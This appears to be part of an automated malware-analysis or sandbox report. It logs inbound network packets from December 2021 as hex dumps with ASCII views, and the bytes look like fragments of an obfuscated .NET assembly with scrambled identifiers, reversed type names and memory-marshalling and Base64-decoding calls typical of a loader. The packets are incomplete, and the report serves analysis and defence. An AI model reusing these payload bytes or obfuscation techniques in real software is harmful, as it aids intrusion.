2021-12-28 04:19:03 UTC	48	IN	Data Raw: 20 b4 00 00 00 38 51 d2 ff ff 20 88 00 00 00 20 2d 00 00 00 59 fe 0e 09 00 20 ed 00 00 00 38 38 d2 ff ff 16 13 22 20 3a 00 00 00 28 73 01 00 06 3a 26 d2 ff ff 26 20 98 00 00 00 38 1b d2 ff ff fe 0c 11 00 20 03 00 00 00 fe 0c 28 00 9c 20 7e 01 00 00 38 03 d2 ff ff fe 0c 11 00 20 0f 00 00 00 20 2d 00 00 00 20 5b 00 00 00 58 9c 20 7f 00 00 00 28 72 01 00 06 3a df d1 ff ff 26 20 6f 00 00 00 38 d4 d1 ff ff fe 0c 11 00 20 1f 00 00 00 20 c5 00 00 00 20 41 00 00 00 59 9c 20 cd 00 00 00 38 b5 d1 ff ff 16 13 0e 20 71 00 00 00 38 a8 d1 ff ff fe 0c 11 00 20 10 00 00 00 fe 0c 28 00 9c 20 e3 00 00 00 28 73 01 00 06 39 8b d1 ff ff 26 20 17 00 00 00 38 80 d1 ff ff fe 0c 11 00 20 0b 00 00 00 20 1c 00 00 00 20 06 00 00 00 58 9c 20 8b 01 00 00 38 61 d1 ff ff fe 0c 11 00 20 Data Ascii: 8Q -Y 88" :(s:&& 8 ( ~8 - [X (r:& o8 AY 8 q8 ( (s9& 8 X 8a
2021-12-28 04:19:03 UTC	49	IN	Data Raw: ff 11 05 1a 5a 13 14 20 58 01 00 00 38 f1 cc ff ff 11 0b 8e 69 1a 5d 13 1e 20 81 00 00 00 38 df cc ff ff 20 f0 00 00 00 20 50 00 00 00 59 fe 0e 09 00 20 ae 00 00 00 38 c6 cc ff ff fe 0c 00 00 20 05 00 00 00 20 3e 00 00 00 20 1b 00 00 00 58 9c 20 89 00 00 00 38 a7 cc ff ff 20 15 00 00 00 20 48 00 00 00 58 fe 0e 09 00 20 50 01 00 00 38 8e cc ff ff fe 0c 11 00 20 17 00 00 00 20 91 00 00 00 20 30 00 00 00 59 9c 20 49 01 00 00 38 6f cc ff ff 20 4a 00 00 00 20 3e 00 00 00 58 fe 0e 28 00 20 a8 01 00 00 38 56 cc ff ff 20 cc 00 00 00 20 44 00 00 00 59 fe 0e 28 00 20 6a 00 00 00 fe 0e 29 00 38 35 cc ff ff 38 9b e5 ff ff 20 5f 00 00 00 28 73 01 00 06 3a 25 cc ff ff 26 20 b1 00 00 00 38 1a cc ff ff fe 0c 00 00 20 07 00 00 00 fe 0c 09 00 9c 20 9f 00 00 00 38 02 cc ff Data Ascii: Z X8i] 8 PY 8 > X 8 HX P8 0Y I8o J >X( 8V DY( j)858 _(s:%& 8 8
2021-12-28 04:19:03 UTC	51	IN	Data Raw: 26 20 05 00 00 00 38 9e c7 ff ff 73 72 00 00 0a 13 2a 20 42 00 00 00 28 72 01 00 06 39 88 c7 ff ff 26 20 07 01 00 00 38 7d c7 ff ff fe 0c 00 00 20 04 00 00 00 20 b0 00 00 00 20 32 00 00 00 58 9c 20 4b 00 00 00 28 73 01 00 06 3a 59 c7 ff ff 26 20 73 00 00 00 38 4e c7 ff ff fe 0c 11 00 20 19 00 00 00 fe 0c 28 00 9c 20 d2 00 00 00 38 36 c7 ff ff fe 0c 11 00 20 0b 00 00 00 fe 0c 28 00 9c 20 de 00 00 00 38 1e c7 ff ff fe 0c 11 00 20 0a 00 00 00 fe 0c 28 00 9c 20 85 01 00 00 38 06 c7 ff ff 20 10 00 00 00 8d 16 00 00 01 fe 0e 00 00 20 4b 01 00 00 28 72 01 00 06 3a e9 c6 ff ff 26 20 35 01 00 00 38 de c6 ff ff 20 5e 00 00 00 20 45 00 00 00 58 fe 0e 28 00 20 51 01 00 00 38 c5 c6 ff ff 20 b6 00 00 00 20 3c 00 00 00 59 fe 0e 28 00 20 90 01 00 00 38 ac c6 ff ff 20 30 Data Ascii: & 8sr* B(r9& 8} 2X K(s:Y& s8N ( 86 ( 8 ( 8 K(r:& 58 ^ EX( Q8 <Y( 8 0
2021-12-28 04:19:03 UTC	52	IN	Data Raw: fe 0c 01 00 5a 6e fe 0c 07 00 5e 6d fe 0e 01 00 20 df 12 b0 54 fe 0c 1d 00 61 fe 0e 18 00 20 3f 43 06 00 fe 0c 01 00 20 ff 0f 00 00 5f 5a fe 0c 01 00 1f 0c 64 58 fe 0e 01 00 20 82 25 07 00 fe 0c 1d 00 20 ff 0f 00 00 5f 5a fe 0c 1d 00 1f 0c 64 59 fe 0e 1d 00 20 76 c2 00 00 fe 0c 1d 00 5a fe 0c 01 00 59 fe 0e 1d 00 fe 0c 1d 00 fe 0c 1d 00 fe 0c 1d 00 59 61 fe 0e 20 00 fe 0c 0c 00 fe 0c 0c 00 1f 19 62 61 fe 0e 0c 00 fe 0c 0c 00 fe 0c 18 00 58 fe 0e 0c 00 fe 0c 0c 00 fe 0c 0c 00 1d 62 61 fe 0e 0c 00 fe 0c 0c 00 fe 0c 19 00 58 fe 0e 0c 00 fe 0c 0c 00 fe 0c 0c 00 1f 0d 64 61 fe 0e 0c 00 fe 0c 0c 00 fe 0c 20 00 58 fe 0e 0c 00 fe 0c 18 00 1b 62 fe 0c 18 00 58 fe 0c 18 00 61 fe 0c 0c 00 58 fe 0e 0c 00 fe 0c 0c 00 76 6c 6d 58 13 10 20 43 01 00 00 28 73 01 00 06 39 Data Ascii: Zn^m Ta ?C _ZdX % _ZdY vZYYa baXbaXda XbXaXvlmX C(s9
2021-12-28 04:19:03 UTC	53	IN	Data Raw: 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 Data Ascii: ********************************
2021-12-28 04:19:03 UTC	57	IN	Data Raw: 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 Data Ascii: 000000********000000
2021-12-28 04:19:03 UTC	61	IN	Data Raw: 04 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 81 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f f7 04 00 06 2a 00 42 28 a9 00 00 06 d0 82 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f fb 04 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 83 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f ff 04 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 84 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 03 05 00 06 2a 00 42 28 a9 00 00 06 d0 85 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 07 05 00 06 2a 00 42 28 a9 00 00 06 d0 86 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 0b 05 00 06 2a 00 42 28 a9 00 00 06 d0 87 00 00 02 28 a0 00 00 06 2a 00 00 00 22 0e 00 6f 0f 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 88 00 00 02 28 a0 00 00 06 Data Ascii: B((oB((2oB((2oB((*oB((*oB((*oB(("oB((
2021-12-28 04:19:03 UTC	65	IN	Data Raw: 73 1e 06 00 3b 2e 8f 25 06 00 69 2e 8f 25 06 00 14 2f 73 1e 06 00 1f 2f 73 1e 06 00 28 2f 73 1e 06 00 33 2f 73 1e 12 00 1d 32 a6 00 06 00 49 32 da 26 12 00 09 33 a6 00 06 00 b2 35 38 1e 06 00 44 39 5f 00 12 00 c0 3b ce 3b 12 00 e4 3b ce 3b 06 00 20 3c 46 26 06 00 39 3c 5f 00 06 00 53 3c 5f 00 06 00 6f 3c 5f 00 06 00 d9 3e 5f 00 06 00 df 3e 5f 00 06 00 e6 3e 5f 00 06 00 ed 3e 5f 00 06 00 f5 3e 5f 00 06 00 66 4a 5f 00 d7 00 cc 4e 00 00 06 00 8c 50 8f 25 06 00 dd 50 8f 25 06 00 ed 50 5f 00 06 00 14 51 5f 00 06 00 2b 51 5f 00 06 00 a9 51 dd 2a 06 00 27 56 5f 00 0e 00 9b 69 b6 1d 0e 00 52 6a b6 1d 0e 00 38 6f b6 1d 16 00 97 6f a3 6f 06 00 cb 6f 08 2b 06 00 03 71 8f 25 06 00 57 71 71 71 06 00 81 71 5f 00 0a 00 95 71 2b 00 06 00 a6 71 c3 71 06 00 e7 71 c3 71 06 Data Ascii: s;.%i.%/s/s(/s3/s2I2&358D9_;;;; <F&9<_S<_o<_>_>_>_>_>_fJ_NP%P%P_Q_+Q_Q*'V_iRj8oooo+q%Wqqqq_q+qqqq
2021-12-28 04:19:03 UTC	69	IN	Data Raw: 46 ca 0f 06 00 52 46 f0 0e 11 00 5d 46 cf 0f 13 00 04 48 ca 0f 06 00 4b 48 05 10 06 00 56 48 f0 0e 11 00 61 48 08 10 06 06 6b 3b e5 0e 06 06 6b 3b e5 0e 13 00 01 49 34 10 11 00 51 49 3f 10 03 00 8d 49 4a 10 03 00 98 49 ec 01 13 00 a3 49 4f 10 11 00 df 49 5f 10 01 00 3c 4a 6a 10 03 00 47 4a 75 05 11 00 52 4a 6f 10 01 00 a6 4a 8c 10 03 00 b1 4a 75 05 13 00 bc 4a 91 10 03 00 0c 4b aa 10 03 00 17 4b ec 01 13 00 22 4b af 10 01 00 72 4b 6a 10 03 00 7d 4b 75 05 13 00 88 4b c8 10 01 00 d8 4b d3 10 01 00 e3 4b d8 10 11 00 ee 4b dd 10 06 00 2a 4c 75 05 06 00 35 4c bf 05 06 00 40 4c f0 0e 13 00 4b 4c f8 10 06 00 87 4c 75 05 06 00 92 4c f0 0e 06 00 9d 4c bf 05 06 00 a8 4c d8 10 11 00 b3 4c 03 11 06 00 ef 4c 75 05 06 00 fa 4c 75 05 06 00 05 4d 0e 11 13 00 10 4d 13 11 Data Ascii: FRF]FHKHVHaHk;k;I4QI?IJIIOI_<JjGJuRJoJJuJKK"KrKj}KuKKKK*Lu5L@LKLLuLLLLLuLuMM
2021-12-28 04:19:03 UTC	73	IN	Data Raw: 6c 2d 00 00 08 00 83 18 54 00 d7 00 e0 00 74 2d 00 00 08 00 81 00 4c 29 85 06 e0 00 40 2f 00 00 08 00 93 00 56 29 a4 06 e3 00 a4 2f 00 00 08 00 93 00 e1 29 37 01 e3 00 d8 2f 00 00 08 00 93 00 14 2a 88 03 e3 00 f8 2f 00 00 08 00 93 00 51 2a c3 06 e4 00 3c 30 00 00 08 00 93 00 60 2a dc 06 e8 00 4c 30 00 00 08 00 93 00 79 2a f2 06 ec 00 b4 30 00 00 08 00 96 00 b7 2a 12 07 f0 00 2c 37 00 00 08 00 91 00 d3 2c 22 08 f1 00 38 37 00 00 08 00 93 00 dd 2c 37 01 f2 00 3c 37 00 00 08 00 91 00 e7 2c 27 08 f2 00 7c 37 00 00 08 00 93 00 f1 2c 36 08 f4 00 ac 37 00 00 08 00 93 00 11 2d 49 08 f5 00 e0 38 00 00 08 00 91 00 71 2d 5f 08 fb 00 e4 38 00 00 08 00 91 00 7b 2d 37 01 fb 00 14 39 00 00 08 00 91 00 85 2d 90 08 fb 00 74 39 00 00 08 00 93 00 99 2d 37 01 fd 00 44 9e 00 Data Ascii: l-Tt-L)@/V)/)7//Q<0`L0y0*,7,"87,7<7,'\|7,67-I8q-_8{-79-t9-7D
2021-12-28 04:19:03 UTC	78	IN	Data Raw: ef 00 00 08 00 c6 00 3a 42 64 0f ce 01 98 ef 00 00 08 00 c6 00 45 42 6a 0f ce 01 a8 ef 00 00 08 00 c6 00 54 2b 70 0f ce 01 b8 ef 00 00 08 00 c6 00 50 42 70 0f cf 01 c8 ef 00 00 08 00 c6 00 5b 42 70 0f d0 01 d8 ef 00 00 08 00 c6 00 66 42 70 0f d1 01 e8 ef 00 00 08 00 c6 00 71 42 70 0f d2 01 f8 ef 00 00 08 00 c6 00 7c 42 70 0f d3 01 08 f0 00 00 08 00 c6 00 87 42 70 0f d4 01 18 f0 00 00 08 00 c6 00 92 42 70 0f d5 01 28 f0 00 00 08 00 c6 00 9d 42 70 0f d6 01 38 f0 00 00 08 00 c6 00 a8 42 70 0f d7 01 48 f0 00 00 08 00 c6 00 b3 42 70 0f d8 01 58 f0 00 00 08 00 c6 00 be 42 70 0f d9 01 68 f0 00 00 08 00 c6 00 c9 42 70 0f da 01 78 f0 00 00 08 00 c6 00 d4 42 70 0f db 01 88 f0 00 00 08 00 c6 00 df 42 70 0f dc 01 98 f0 00 00 08 00 c6 00 ea 42 6a 0f dd 01 a0 f0 00 00 Data Ascii: :BdEBjT+pPBp[BpfBpqBp\|BpBpBp(Bp8BpHBpXBphBpxBpBpBj
2021-12-28 04:19:03 UTC	82	IN	Data Raw: 00 00 00 00 c6 05 95 41 52 0f 4b 02 00 00 00 00 00 00 c6 05 a0 41 52 0f 4b 02 00 00 00 00 00 00 c6 05 ab 41 52 0f 4b 02 00 00 00 00 00 00 c6 05 b6 41 52 0f 4b 02 00 00 00 00 00 00 c6 05 c1 41 52 0f 4b 02 00 00 00 00 00 00 c6 05 cc 41 58 0f 4b 02 00 00 00 00 00 00 c6 05 d7 41 58 0f 4b 02 00 00 00 00 00 00 c6 05 e2 41 5e 0f 4b 02 00 00 00 00 00 00 c6 05 ed 41 5e 0f 4b 02 00 00 00 00 00 00 c6 05 f8 41 5e 0f 4b 02 00 00 00 00 00 00 c6 05 03 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 0e 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 19 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 24 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 2f 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 3a 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 45 42 6a 0f 4b 02 00 00 00 00 00 00 c6 05 54 2b 70 0f 4b 02 00 00 00 00 00 Data Ascii: ARKARKARKARKARKAXKAXKA^KA^KA^KBdKBdKBdK$BdK/BdK:BdKEBjKT+pK
2021-12-28 04:19:03 UTC	86	IN	Data Raw: 00 08 00 83 00 bc 50 19 13 ed 02 58 06 01 00 08 00 83 00 c7 50 34 13 ef 02 78 06 01 00 08 00 81 00 d2 50 57 13 f1 02 b0 06 01 00 08 00 81 00 3f 51 cf 13 f2 02 c0 06 01 00 08 00 81 00 4a 51 dc 13 f5 02 c8 06 01 00 08 00 81 00 55 51 b3 00 f6 02 d0 06 01 00 08 00 91 00 60 51 e3 13 f7 02 f0 06 01 00 08 00 81 00 7d 51 0c 14 f8 02 00 07 01 00 08 00 91 00 88 51 86 0f fa 02 10 07 01 00 08 00 81 00 93 51 01 0f fb 02 20 07 01 00 08 00 91 00 9e 51 4c 14 fc 02 30 07 01 00 08 00 91 00 1e 52 8d 14 fe 02 40 07 01 00 08 00 91 00 3f 52 8d 14 01 03 50 07 01 00 08 00 91 00 51 52 ff 14 04 03 60 07 01 00 08 00 91 00 c7 52 07 15 06 03 70 07 01 00 08 00 91 00 d2 52 86 0f 07 03 80 07 01 00 08 00 91 00 dd 52 1b 15 08 03 a4 07 01 00 08 00 91 00 e8 52 73 09 09 03 d0 07 01 00 08 00 Data Ascii: PXP4xPW?QJQUQ`Q}QQQ QL0R@?RPQR`RpRRRs
2021-12-28 04:19:03 UTC	90	IN	Data Raw: 08 00 16 00 7d 69 02 1a 35 03 00 00 00 00 03 00 06 18 54 00 65 01 35 03 4c 12 01 00 08 00 10 18 bd 16 37 01 35 03 00 00 00 00 03 00 46 00 15 18 11 1a 35 03 60 12 01 00 08 00 16 00 7d 69 17 1a 35 03 00 00 00 00 03 00 06 18 54 00 65 01 35 03 70 12 01 00 08 00 10 18 bd 16 37 01 35 03 00 00 00 00 03 00 46 00 15 18 25 1a 35 03 84 12 01 00 08 00 16 00 7d 69 2d 1a 35 03 00 00 00 00 03 00 06 18 54 00 65 01 35 03 90 12 01 00 08 00 10 18 bd 16 37 01 35 03 00 00 00 00 03 00 46 00 15 18 3d 1a 35 03 a4 12 01 00 08 00 16 00 7d 69 44 1a 35 03 00 00 00 00 03 00 06 18 54 00 65 01 35 03 b0 12 01 00 08 00 10 18 bd 16 37 01 35 03 00 00 00 00 03 00 46 00 15 18 9d 11 35 03 c4 12 01 00 08 00 16 00 7d 69 53 1a 35 03 00 00 00 00 03 00 06 18 54 00 65 01 35 03 d0 12 01 00 08 00 10 Data Ascii: }i5Te5L75F5`}i5Te5p75F%5}i-5Te575F=5}iD5Te575F5}iS5Te5
2021-12-28 04:19:03 UTC	94	IN	Data Raw: 00 0d 00 56 21 00 00 0e 00 10 21 00 20 00 00 00 00 01 00 01 00 6f 22 02 00 02 00 7d 22 00 00 03 00 69 21 00 00 01 00 10 21 00 00 02 00 17 21 00 20 00 00 00 00 00 20 01 00 ab 22 00 00 02 00 b3 22 00 20 01 00 ab 22 00 00 02 00 b3 22 00 00 03 00 56 21 00 00 04 00 10 21 00 20 00 00 00 00 00 00 01 00 69 21 00 00 01 00 10 21 00 00 02 00 17 21 00 20 00 00 00 00 00 20 01 00 ab 22 00 00 02 00 b3 22 00 20 01 00 ab 22 00 00 02 00 b3 22 00 00 03 00 56 21 00 00 04 00 10 21 00 20 00 00 00 00 00 00 01 00 69 21 00 00 01 00 10 21 00 00 02 00 17 21 00 20 01 00 1e 21 00 20 02 00 70 21 00 20 01 00 1e 21 00 20 02 00 70 21 00 00 03 00 56 21 00 00 04 00 10 21 00 00 01 00 69 21 00 00 01 00 10 21 00 00 02 00 17 21 00 00 01 00 bc 22 00 00 02 00 ca 22 00 00 03 00 d6 22 00 00 04 00 Data Ascii: V!! o"}"i!!! "" ""V!! i!!! "" ""V!! i!!! ! p! ! p!V!!i!!!"""
2021-12-28 04:19:03 UTC	97	IN	Data Raw: f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 02 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 02 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 Data Ascii: (((((((((((((((((((((((((((((((((((((((((((
2021-12-28 04:19:03 UTC	101	IN	Data Raw: 00 00 00 21 00 04 00 00 00 22 00 18 00 00 00 23 00 00 00 00 00 24 00 10 00 00 00 25 00 1c 00 00 00 26 00 38 00 00 00 27 00 3c 00 00 00 28 00 0c 00 00 00 29 00 10 00 00 00 2a 00 14 00 00 00 2b 00 00 00 00 00 84 00 00 00 00 00 85 00 00 00 00 00 86 00 00 00 00 00 87 00 00 00 00 00 88 00 00 00 00 00 89 00 00 00 00 00 8d 00 00 00 00 00 8e 00 00 00 00 00 8f 00 00 00 00 00 90 00 00 00 00 00 91 00 00 00 00 00 92 00 00 00 00 00 93 00 00 00 00 00 94 00 82 01 0c 02 43 02 69 02 76 02 13 03 8f 03 33 04 95 05 44 06 8f 06 aa 06 d0 06 fc 06 19 07 2f 08 54 08 ac 08 78 09 da 09 01 0a 1d 0a 2f 0a 40 0a bb 0b 91 0c 10 0d 35 0d 44 0d 51 0d 67 0d 78 0d 90 0d bf 0d e8 0d c3 0e d6 0e 28 0f 37 0f 44 0f 4b 0f 80 0f 8f 0f d4 0f f2 0f 54 10 7c 10 9e 10 bc 10 ec 10 a2 11 aa 11 d4 11 Data Ascii: !"#$%&8'<()*+Civ3D/Tx/@5DQgx(7DKT\|
2021-12-28 04:19:03 UTC	105	IN	Data Raw: 31 36 63 51 4c 69 67 47 79 38 30 42 33 00 6c 52 65 38 59 4f 31 54 6e 49 54 74 58 69 56 58 6b 41 47 00 45 70 58 38 4d 31 31 65 41 70 74 68 5a 36 38 37 58 6a 6a 00 63 4b 4e 61 79 37 31 58 61 38 76 6c 6a 65 36 65 68 59 70 00 61 61 30 39 62 45 31 63 52 62 72 69 50 66 45 67 4e 6c 4d 00 63 35 37 64 79 57 31 4b 77 35 32 4e 56 67 53 4e 63 56 4e 00 43 59 6f 50 39 54 31 73 37 74 6c 51 6f 58 67 58 39 57 49 00 73 65 71 32 63 52 31 70 76 64 4a 54 33 4c 65 77 75 49 4e 00 6c 6b 52 50 34 46 31 71 63 78 75 75 68 72 41 4f 4a 6c 4f 00 54 35 53 32 47 6a 31 78 45 34 55 49 36 53 33 6b 77 56 6f 00 59 46 68 71 52 75 31 79 54 30 41 58 77 6c 58 39 45 75 67 00 77 6a 76 6b 4c 5a 31 47 45 4d 54 62 65 67 79 33 6c 57 38 00 74 6b 38 75 4b 66 31 42 61 74 69 35 4e 45 4c 49 6d 78 78 00 4f Data Ascii: 16cQLigGy80B3lRe8YO1TnITtXiVXkAGEpX8M11eApthZ687XjjcKNay71Xa8vlje6ehYpaa09bE1cRbriPfEgNlMc57dyW1Kw52NVgSNcVNCYoP9T1s7tlQoXgX9WIseq2cR1pvdJT3LewuINlkRP4F1qcxuuhrAOJlOT5S2Gj1xE4UI6S3kwVoYFhqRu1yT0AXwlX9EugwjvkLZ1GEMTbegy3lW8tk8uKf1Bati5NELImxxO
2021-12-28 04:19:03 UTC	110	IN	Data Raw: 72 72 6f 43 65 67 6e 61 68 63 78 45 74 78 65 74 6e 6f 43 73 6c 65 6e 6e 61 68 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 31 30 35 33 35 00 41 63 74 69 6f 6e 00 61 63 74 69 6f 6e 00 67 65 74 5f 65 74 61 67 65 6c 65 44 78 45 74 70 65 63 63 41 73 74 65 6b 63 6f 53 74 65 4e 6d 65 74 73 79 53 36 31 30 38 39 00 73 65 74 5f 65 74 61 67 65 6c 65 44 78 45 74 70 65 63 63 41 73 74 65 6b 63 6f 53 74 65 4e 6d 65 74 73 79 53 36 31 30 38 39 00 46 78 36 67 35 68 44 54 39 64 73 64 76 49 71 4d 4f 48 33 00 46 33 49 32 34 52 44 76 31 30 4d 4c 31 43 73 44 65 35 46 00 63 76 44 6a 48 6d 44 34 76 45 68 52 56 52 48 41 4e 42 36 00 65 74 61 67 65 6c 65 44 78 45 74 70 65 63 63 41 73 74 65 6b 63 6f 53 74 65 4e 6d 65 74 73 79 53 36 31 30 38 39 00 5f 62 6f 64 79 00 63 62 Data Ascii: rroCegnahcxEtxetnoCslennahCledoMecivreSmetsyS10535Actionactionget_etageleDxEtpeccAstekcoSteNmetsyS61089set_etageleDxEtpeccAstekcoSteNmetsyS61089Fx6g5hDT9dsdvIqMOH3F3I24RDv10ML1CsDe5FcvDjHmD4vEhRVRHANB6etageleDxEtpeccAstekcoSteNmetsyS61089_bodycb
2021-12-28 04:19:03 UTC	114	IN	Data Raw: 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 4e 76 51 33 34 75 5a 74 38 39 35 6e 78 45 68 69 32 46 49 72 00 67 65 74 5f 53 69 7a 65 00 4d 61 72 73 68 61 6c 00 52 65 61 64 49 6e 74 33 32 00 52 65 61 64 49 6e 74 36 34 00 41 6c 6c 6f 63 43 6f 54 61 73 6b 4d 65 6d 00 57 72 69 74 65 49 6e 74 50 74 72 00 57 72 69 74 65 49 6e 74 33 32 00 53 6d 65 5a 77 54 4b 4f 72 00 47 37 70 75 73 6f 41 41 4f 00 57 4e 6e 37 56 74 79 75 49 00 47 65 74 4d 65 74 68 6f 64 00 75 57 64 4f 6c 46 61 41 62 00 56 65 72 73 69 6f 6e 00 50 72 6f 63 65 73 73 4d 6f 64 75 6c 65 00 49 44 69 73 70 6f 73 61 62 6c 65 00 50 72 6f 63 65 73 73 00 49 45 6e 75 6d 65 72 61 74 6f 72 00 54 6f 49 6e 74 36 34 00 54 6f 49 6e 74 33 32 00 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 00 47 65 74 46 69 65 6c 64 00 Data Ascii: FromBase64StringNvQ34uZt895nxEhi2FIrget_SizeMarshalReadInt32ReadInt64AllocCoTaskMemWriteIntPtrWriteInt32SmeZwTKOrG7pusoAAOWNn7VtyuIGetMethoduWdOlFaAbVersionProcessModuleIDisposableProcessIEnumeratorToInt64ToInt32ModuleHandleGetField
2021-12-28 04:19:03 UTC	118	IN	Data Raw: 65 76 75 38 4b 6b 6a 00 44 42 71 4b 75 73 48 75 66 4d 4b 65 41 73 71 43 44 56 00 77 56 46 4d 66 65 32 52 51 78 52 73 6c 5a 33 71 77 4d 00 57 52 4d 66 66 53 4c 4d 63 6d 4b 54 59 6c 5a 6e 50 65 00 63 69 52 49 52 33 45 37 67 4a 00 49 73 4c 69 74 74 6c 65 45 6e 64 69 61 6e 00 64 67 52 49 4e 50 77 6d 4d 71 00 6f 35 49 49 72 75 51 42 73 37 00 50 66 50 49 62 75 54 68 64 6c 00 4d 66 6e 49 50 52 4a 6b 31 59 00 62 50 41 49 44 66 6b 66 75 37 00 77 30 79 49 34 6e 51 6f 65 70 00 54 62 47 49 4d 70 55 75 35 58 00 6a 68 4a 49 36 33 54 30 74 4e 00 46 53 75 49 54 66 64 46 63 72 00 78 44 51 39 30 70 62 31 4b 55 63 67 6d 38 69 6f 42 6d 67 00 72 49 6d 49 68 45 74 4c 50 6a 00 55 6c 73 49 69 32 64 32 71 44 00 53 65 55 49 35 52 4f 51 34 55 00 76 65 47 49 41 77 54 51 54 73 00 53 Data Ascii: evu8KkjDBqKusHufMKeAsqCDVwVFMfe2RQxRslZ3qwMWRMffSLMcmKTYlZnPeciRIR3E7gJIsLittleEndiandgRINPwmMqo5IIruQBs7PfPIbuThdlMfnIPRJk1YbPAIDfkfu7w0yI4nQoepTbGIMpUu5XjhJI63T0tNFSuITfdFcrxDQ90pb1KUcgm8ioBmgrImIhEtLPjUlsIi2d2qDSeUI5ROQ4UveGIAwTQTsS
2021-12-28 04:19:03 UTC	122	IN	Data Raw: 53 34 42 6a 67 43 79 71 51 49 00 54 59 71 69 66 63 79 6c 77 6d 36 50 4f 65 51 4d 53 69 71 00 66 30 75 51 33 55 79 7a 58 74 55 64 35 76 33 47 75 4a 71 00 6a 32 62 69 65 56 6f 6e 6c 44 00 63 6d 46 69 58 48 61 6f 62 39 00 6b 51 43 63 79 6b 74 78 4b 45 35 71 4c 4f 4a 57 71 65 48 00 54 69 54 43 73 38 74 72 70 65 5a 59 54 5a 36 5a 36 79 51 00 62 44 6a 39 62 46 74 67 37 4d 4e 56 66 74 39 50 4d 43 4a 00 54 75 31 69 73 45 33 72 4c 43 00 4a 75 57 69 71 39 43 33 46 66 00 72 58 41 32 41 54 74 4e 54 6e 74 4b 67 6e 50 6d 67 6d 66 00 45 71 75 61 6c 73 00 47 65 74 48 61 73 68 43 6f 64 65 00 45 6e 75 6d 65 72 61 74 6f 72 00 6a 46 32 69 63 75 49 6f 61 6a 00 70 31 55 69 4b 36 43 34 31 4a 00 69 51 6e 4f 33 56 74 62 6c 67 53 6b 65 55 61 57 59 64 70 00 76 77 61 78 46 32 74 44 Data Ascii: 